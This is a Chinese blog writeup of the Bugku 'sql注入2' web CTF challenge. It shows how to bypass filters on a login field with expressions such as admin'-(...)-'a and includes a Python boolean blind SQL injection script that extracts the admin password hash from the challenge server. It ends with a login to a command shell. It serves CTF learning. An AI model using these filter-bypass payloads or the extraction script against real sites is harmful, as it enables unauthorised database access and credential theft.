Bugku Web CTF-sql注入2

原创

河鱼不高兴 于 2020-01-14 09:44:03 发布 492 收藏

分类专栏： web ctf

本文链接：https://blog.csdn.net/saislanti/article/details/103939031

Bugku Web CTF-sql注入2

这道题过滤了许多关键字，包括但不限于`select`、`union`、`and`、`or`等，还有许多符号比如注释符`--`，`,`、`#`等（需要注意的是这里的过滤是指针对`uname`字段的过滤）。

一开始没什么思路，于是参考网上其他人写的wp，发现主要集中于以下两种解法：

1. 用扫描工具扫出存在的漏洞，即`.DS_STORE`泄漏问题，然后获取对应的文件目录，可以看到目录下有`flag`文件。
2. 灵光一闪，直接猜出目录下有`admin`或`flag`，直接获取flag。（猜还是你们厉害）

但是寻思着别人的题目好歹也叫`sql注入2`，这样投机取巧也学不到啥东西（毕竟目标不仅是拿到flag那一串没意义的字符而已），所以搜索相关资料，终于找到一个正儿八经答题的writeup。

该题的重点还是在闭合`uname`上，但是常用的用于闭合的符号都被过滤，需要注意的是，题目给的提示提供了一些符号，它所表达的其实是这些符号没有被过滤，就比如`-`，还有`'`引号也没有被过滤，可以利用这些符号进行闭合。

writeup中使用的闭合方式是形如`admin'-0-''`，一开始并不知道相应的含义，为什么这样就能闭合，所以自己建了数据库来测试一下。

尝试进行如下查询：

```
select 'admin';
```

显然返回结果应该是：

```
+-------+
| admin |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)
```

继续尝试：

```
select 'admin'-1;
```

输出为：

```
+-----------+
| 'admin'-1 |
+-----------+
|        -1 |
+-----------+
1 row in set, 1 warning (0.00 sec)
```

可以看到的是，sql语句是可以处理加减法的，此处的`-`是做为减法运算符，并且经过尝试，发现sql在处理字符串加减法时，是将字符串视为`0`的，这也是为什么上面语句返回结果为`-1`的原因。
回到题目，如何借助这一点进行闭合，并且注入拿到想要的结果？可以构造如下形式：

```
admin'-(sql语句)-'a
```

在后面再加上`'a`是为了闭合查询语句，因为查询语句形式大概如下所示：

```
select * from user where uname = $uname;
```

这里漏掉了一点，为什么用户名就是`admin`，是因为测试发现其实报错信息有两种的，分别为`username error!!@_@`和`password error!!@_@`，尝试用户名为`admin`时，提示密码错误，说明用户名时对的，下面注入也是借助这一点。

括号内的sql语句是可以被执行并返回执行结果的，简单测试一下：

```
select 'a'-(select id from test_table)-'b';
```

返回结果为：

```
+-------------------------------------+
| 'a'-(select id from test_table)-'b' |
+-------------------------------------+
|                                  -1 |
+-------------------------------------+
1 row in set, 2 warnings (0.00 sec)
```

此处用于测试的表的`id`列只有一行数据为1，因此最终执行结果返回`-1`。根据这一点，可以使用`bool型注入`（大概叫这个？），观察括号内的sql语句返回结果为`true`or`false`。
接下来构造sql语句。由于此题过滤了空格，所以在盲注数据库表名这些的时候不能用这种形式了：

```
ascii(substr((select database()),1,1))>-1
```

并且`union`、`and`、`or`这些都被屏蔽了...自己狗了很久都没构造出符合要求的猜解数据库名的语句，于是向前人学习，大胆采用猜测法（真香.gif）。用户名前面已经直接猜到了用户名为`admin`，接下来要猜测密码的字段名，第一反应就是`passwd`，构造如下：

```
admin'-(ascii(substring(passwd,index,1))=0)-'a
```

提交发现错误才想起逗号都被过滤了...（雪特）。
改变一下形式，还是先用自己建的表测试下：

```
select (ascii(substring((name)from(1)))) from test_table;
```

输出：

```
+----------------------------------+
| (ascii(substring((name)from(1)))) |
+----------------------------------+
|                               97 |
+----------------------------------+
1 row in set (0.00 sec)
```

97对应字符`a`，说明可以用该形式进行探测：

```
admin'-(ascii(substring((passwd)from(1)))=48)-'a
```

需要注意的是，当括号内的语句执行为`true`时，会变成`uname=-1`，前面我们知道字符串在和数字一起计算时会被视为`0`，所以该语句是不成立的，所以此时回显的错误信息为`username error!!@_@`；那么当括号内语句为`false`时，回显为`password error!!@_@`。
编写python脚本：

```
import requests
url = "http://123.206.87.240:8007/web2/login.php"
cookie = {
    'PHPSESSID':'kgdrndsr0jf7200cfpcd83ocp8td54bv'
}

letters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

password = ""
for i in range(1,50):
    for j in letters:
        payload = "admin'-(ascii(substring((passwd)from("+str(i)+")))="+str(ord(j))+')'+"-'a";
        data = {
            'uname': payload,
            'passwd': '111'
        }
        r = requests.post(url=url,cookies=cookie,data=data)
        if "username error!!@_@" in str(r.content):
            password += j
            print(password)
            break
```

最后算出结果为`0192023a7bbd73250516f069df18b500`，32位，有点像一串md5值，去cmd5上解密解出原文为`admin123`。
于是用户名`admin`，密码`admin123`登录，出现`http://123.206.87.240:8007/web2/admin/`页面，看样子是shell了，按框中提示输入`ls`，输出flag：

```
flag{sql_iNJEct_comMon3600!}
```